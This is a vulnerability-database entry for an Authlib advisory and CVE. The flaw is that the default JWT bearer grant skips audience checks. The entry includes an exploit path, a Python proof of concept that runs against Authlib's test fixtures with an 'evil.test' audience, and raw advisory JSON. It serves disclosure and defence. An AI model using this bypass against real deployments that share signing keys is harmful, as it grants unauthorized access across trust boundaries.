Vulnerability-Lookup

GHSA-FCH4-3C6X-J4GC

Vulnerability from github – Published: 2026-10-27 15:39 – Updated: 2026-10-27 15:39

Summary

Authlib: Default JWT bearer grant accepts assertions for the wrong audience

Details

Description

Summary

Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Affected Entrypoints

authlib.oauth2.rfc7523.JWTBearerGrant — default get_audiences() returns empty list
authlib.jose.jwt.decode() with claims_options for audience validation
authlib.integrations.flask_oauth2.ResourceProtector.validate_request() when audience checking is enabled

Exploit Path

1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achieved

Proof of Concept

#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys

from joserfc.jwk import KeySet, OctKey

WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"


def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
    from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
    # Uses Authlib's own Flask test fixtures
    from tests.flask.test_oauth2.models import Client, User, db
    from tests.flask.test_oauth2.oauth2_server import (
        create_authorization_server, create_flask_app,
    )

    class JWTBearerGrant(BaseJWTBearerGrant):
        def resolve_issuer_client(self, issuer):
            return Client.query.filter_by(client_id=issuer).first()

        def resolve_client_public_key(self, client):
            return KeySet([
                OctKey.import_key("foo", {"kid": "1"}),
                OctKey.import_key("bar", {"kid": "2"}),
            ])

        def authenticate_user(self, subject):
            return None

        def has_granted_permission(self, client, user):
            return True

        # Only override get_audiences when testing strict mode
        if strict_audience:
            def get_audiences(self):
                return [EXPECTED_AUDIENCE]

    app = create_flask_app()
    os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

    with app.app_context():
        db.init_app(app)
        db.create_all()

        user = User(username="demo-user")
        db.session.add(user)
        db.session.commit()

        client = Client(
            user_id=user.id,
            client_id="client-id",
            client_secret="client-secret",
        )
        client.set_client_metadata({
            "scope": "profile",
            "redirect_uris": ["https://client.test/authorized"],
            "grant_types": [GRANT_TYPE],
        })
        db.session.add(client)
        db.session.commit()

        server = create_authorization_server(app)
        server.register_grant(JWTBearerGrant)

        # Sign assertion with WRONG audience
        assertion = JWTBearerGrant.sign(
            "foo",
            issuer="client-id",
            audience=WRONG_AUDIENCE,  # <-- Not the expected audience
            subject=None,
            header={"alg": "HS256", "kid": "1"},
        )

        rv = app.test_client().post(
            "/oauth/token",
            data={"grant_type": GRANT_TYPE, "assertion": assertion},
        )
        body = json.loads(rv.data)
        db.session.remove()
        db.drop_all()
        return rv.status_code, body


def main() -> int:
    # Test 1: Default grant (no audience enforcement)
    vuln_status, vuln_body = build_and_exercise(strict_audience=False)

    # Test 2: Strict audience grant (correct behavior)
    strict_status, strict_body = build_and_exercise(strict_audience=True)

    result = {
        "wrong_audience": WRONG_AUDIENCE,
        "expected_audience": EXPECTED_AUDIENCE,
        "vulnerable_status": vuln_status,
        "vulnerable_body": vuln_body,
        "strict_status": strict_status,
        "strict_body": strict_body,
    }
    print(json.dumps(result, indent=2, sort_keys=True))

    if (
        vuln_status == 200
        and "access_token" in vuln_body
        and strict_body.get("error") == "invalid_grant"
    ):
        print(
            "POC_SUCCESS: default JWTBearerGrant issued an access token for "
            "an assertion whose aud did not match the token endpoint, while "
            "strict audience validation rejected the same assertion."
        )
        return 0

    print("POC_FAILURE: expected token issuance under default grant "
          "and invalid_grant under strict audience control.")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Observed Result

Default grant (vulnerable): HTTP 200, access_token issued despite aud: "https://evil.test/token"
Strict grant (fixed): HTTP 400, error: "invalid_grant" — correctly rejects mismatched audience
Confirms the default get_audiences() returns empty, so audience validation is effectively skipped

Impact

Vulnerability Type: CWE-287 — Improper Authentication
An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys
Particularly dangerous in microservice architectures where services share identity infrastructure
Enables unauthorized access escalation across trust boundaries
The vulnerability is in the default behavior — most integrations won't override get_audiences()

Credit

Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:39:08Z",
    "nvd_published_at": "2026-10-22T22:18:04Z",
    "severity": "MODERATE"
  },
  "details": "## Description\n\n### Summary\n\nAuthlib\u0027s default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server\u0027s token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token.\n\nTo be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.\n\n### Affected Entrypoints\n\n- `authlib.oauth2.rfc7523.JWTBearerGrant` \u2014 default `get_audiences()` returns empty list\n- `authlib.jose.jwt.decode()` with `claims_options` for audience validation\n- `authlib.integrations.flask_oauth2.ResourceProtector.validate_request()` when audience checking is enabled\n\n### Exploit Path\n\n```\n1. Attacker authenticates to Service A (low-privilege)\n2. Authorization server issues JWT with \"aud\": \"https://evil.test/token\"\n3. Attacker presents this assertion to Service B\u0027s token endpoint\n4. Service B uses default JWTBearerGrant (get_audiences() = [])\n5. verify_claims() only checks aud *exists*, not its value\n6. Service B issues an access token \u2014 audience bypass achieved\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDemonstrates that the default JWTBearerGrant accepts JWT assertions\nwhose audience does not match the token endpoint, while a strict\naudience override correctly rejects them.\n\"\"\"\nimport json\nimport os\nimport sys\n\nfrom joserfc.jwk import KeySet, OctKey\n\nWRONG_AUDIENCE = \"https://evil.test/token\"\nEXPECTED_AUDIENCE = \"https://provider.test/token\"\nGRANT_TYPE = \"urn:ietf:params:oauth:grant-type:jwt-bearer\"\n\n\ndef build_and_exercise(strict_audience: bool) -\u003e tuple[int, dict]:\n    from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant\n    # Uses Authlib\u0027s own Flask test fixtures\n    from tests.flask.test_oauth2.models import Client, User, db\n    from tests.flask.test_oauth2.oauth2_server import (\n        create_authorization_server, create_flask_app,\n    )\n\n    class JWTBearerGrant(BaseJWTBearerGrant):\n        def resolve_issuer_client(self, issuer):\n            return Client.query.filter_by(client_id=issuer).first()\n\n        def resolve_client_public_key(self, client):\n            return KeySet([\n                OctKey.import_key(\"foo\", {\"kid\": \"1\"}),\n                OctKey.import_key(\"bar\", {\"kid\": \"2\"}),\n            ])\n\n        def authenticate_user(self, subject):\n            return None\n\n        def has_granted_permission(self, client, user):\n            return True\n\n        # Only override get_audiences when testing strict mode\n        if strict_audience:\n            def get_audiences(self):\n                return [EXPECTED_AUDIENCE]\n\n    app = create_flask_app()\n    os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n    with app.app_context():\n        db.init_app(app)\n        db.create_all()\n\n        user = User(username=\"demo-user\")\n        db.session.add(user)\n        db.session.commit()\n\n        client = Client(\n            user_id=user.id,\n            client_id=\"client-id\",\n            client_secret=\"client-secret\",\n        )\n        client.set_client_metadata({\n            \"scope\": \"profile\",\n            \"redirect_uris\": [\"https://client.test/authorized\"],\n            \"grant_types\": [GRANT_TYPE],\n        })\n        db.session.add(client)\n        db.session.commit()\n\n        server = create_authorization_server(app)\n        server.register_grant(JWTBearerGrant)\n\n        # Sign assertion with WRONG audience\n        assertion = JWTBearerGrant.sign(\n            \"foo\",\n            issuer=\"client-id\",\n            audience=WRONG_AUDIENCE,  # \u003c-- Not the expected audience\n            subject=None,\n            header={\"alg\": \"HS256\", \"kid\": \"1\"},\n        )\n\n        rv = app.test_client().post(\n            \"/oauth/token\",\n            data={\"grant_type\": GRANT_TYPE, \"assertion\": assertion},\n        )\n        body = json.loads(rv.data)\n        db.session.remove()\n        db.drop_all()\n        return rv.status_code, body\n\n\ndef main() -\u003e int:\n    # Test 1: Default grant (no audience enforcement)\n    vuln_status, vuln_body = build_and_exercise(strict_audience=False)\n\n    # Test 2: Strict audience grant (correct behavior)\n    strict_status, strict_body = build_and_exercise(strict_audience=True)\n\n    result = {\n        \"wrong_audience\": WRONG_AUDIENCE,\n        \"expected_audience\": EXPECTED_AUDIENCE,\n        \"vulnerable_status\": vuln_status,\n        \"vulnerable_body\": vuln_body,\n        \"strict_status\": strict_status,\n        \"strict_body\": strict_body,\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n    if (\n        vuln_status == 200\n        and \"access_token\" in vuln_body\n        and strict_body.get(\"error\") == \"invalid_grant\"\n    ):\n        print(\n            \"POC_SUCCESS: default JWTBearerGrant issued an access token for \"\n            \"an assertion whose aud did not match the token endpoint, while \"\n            \"strict audience validation rejected the same assertion.\"\n        )\n        return 0\n\n    print(\"POC_FAILURE: expected token issuance under default grant \"\n          \"and invalid_grant under strict audience control.\")\n    return 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Observed Result\n\n- **Default grant (vulnerable):** HTTP 200, `access_token` issued despite `aud: \"https://evil.test/token\"`\n- **Strict grant (fixed):** HTTP 400, `error: \"invalid_grant\"` \u2014 correctly rejects mismatched audience\n- Confirms the default `get_audiences()` returns empty, so audience validation is effectively skipped\n\n### Impact\n\n- **Vulnerability Type:** CWE-287 \u2014 Improper Authentication\n- An attacker with a valid JWT assertion for *any* service can use it to obtain tokens from a *different* service sharing the same signing keys\n- Particularly dangerous in **microservice architectures** where services share identity infrastructure\n- Enables unauthorized access escalation across trust boundaries\n- The vulnerability is in the *default behavior* \u2014 most integrations won\u0027t override `get_audiences()`\n---\n### Credit\nReported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "GHSA-fch4-3c6x-j4gc",
  "modified": "2026-10-27T15:39:08Z",
  "published": "2026-10-27T15:39:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114618"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/pull/945"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib: Default JWT bearer grant accepts assertions for the wrong audience"
}

CVE-2026-114618 (GCVE-0-2026-114618)

Vulnerability from cvelistv5 – Published: 2026-10-22 21:28 – Updated: 2026-10-22 21:28

Title

Authlib: Default JWT bearer grant accepts assertions for the wrong audience

Summary

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-287 - Improper Authentication
CWE-1188 - Insecure Default Initialization of Resource

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7909 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/authlib/authlib/security/advis…	x_refsource_CONFIRM
https://github.com/authlib/authlib/pull/945	x_refsource_MISC
https://github.com/authlib/authlib/commit/e3bd41c…	x_refsource_MISC
https://github.com/authlib/authlib/releases/tag/v1.9.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
authlib	authlib	Affected: < 1.9.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "authlib",
          "vendor": "authlib",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server\u0027s valid audience identifiers are not affected. This issue is fixed in version 1.9.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1188",
              "description": "CWE-1188: Insecure Default Initialization of Resource",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-22T21:28:37.879Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc"
        },
        {
          "name": "https://github.com/authlib/authlib/pull/945",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/authlib/authlib/pull/945"
        },
        {
          "name": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
        },
        {
          "name": "https://github.com/authlib/authlib/releases/tag/v1.9.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
        }
      ],
      "source": {
        "advisory": "GHSA-fch4-3c6x-j4gc",
        "discovery": "UNKNOWN"
      },
      "title": "Authlib: Default JWT bearer grant accepts assertions for the wrong audience"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-114618",
    "datePublished": "2026-10-22T21:28:37.879Z",
    "dateReserved": "2026-10-21T20:34:25.600Z",
    "dateUpdated": "2026-10-22T21:28:37.879Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-FCH4-3C6X-J4GC

Description

Summary

Affected Entrypoints

Exploit Path

Proof of Concept

Observed Result

Impact

Credit

CVE-2026-114618 (GCVE-0-2026-114618)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour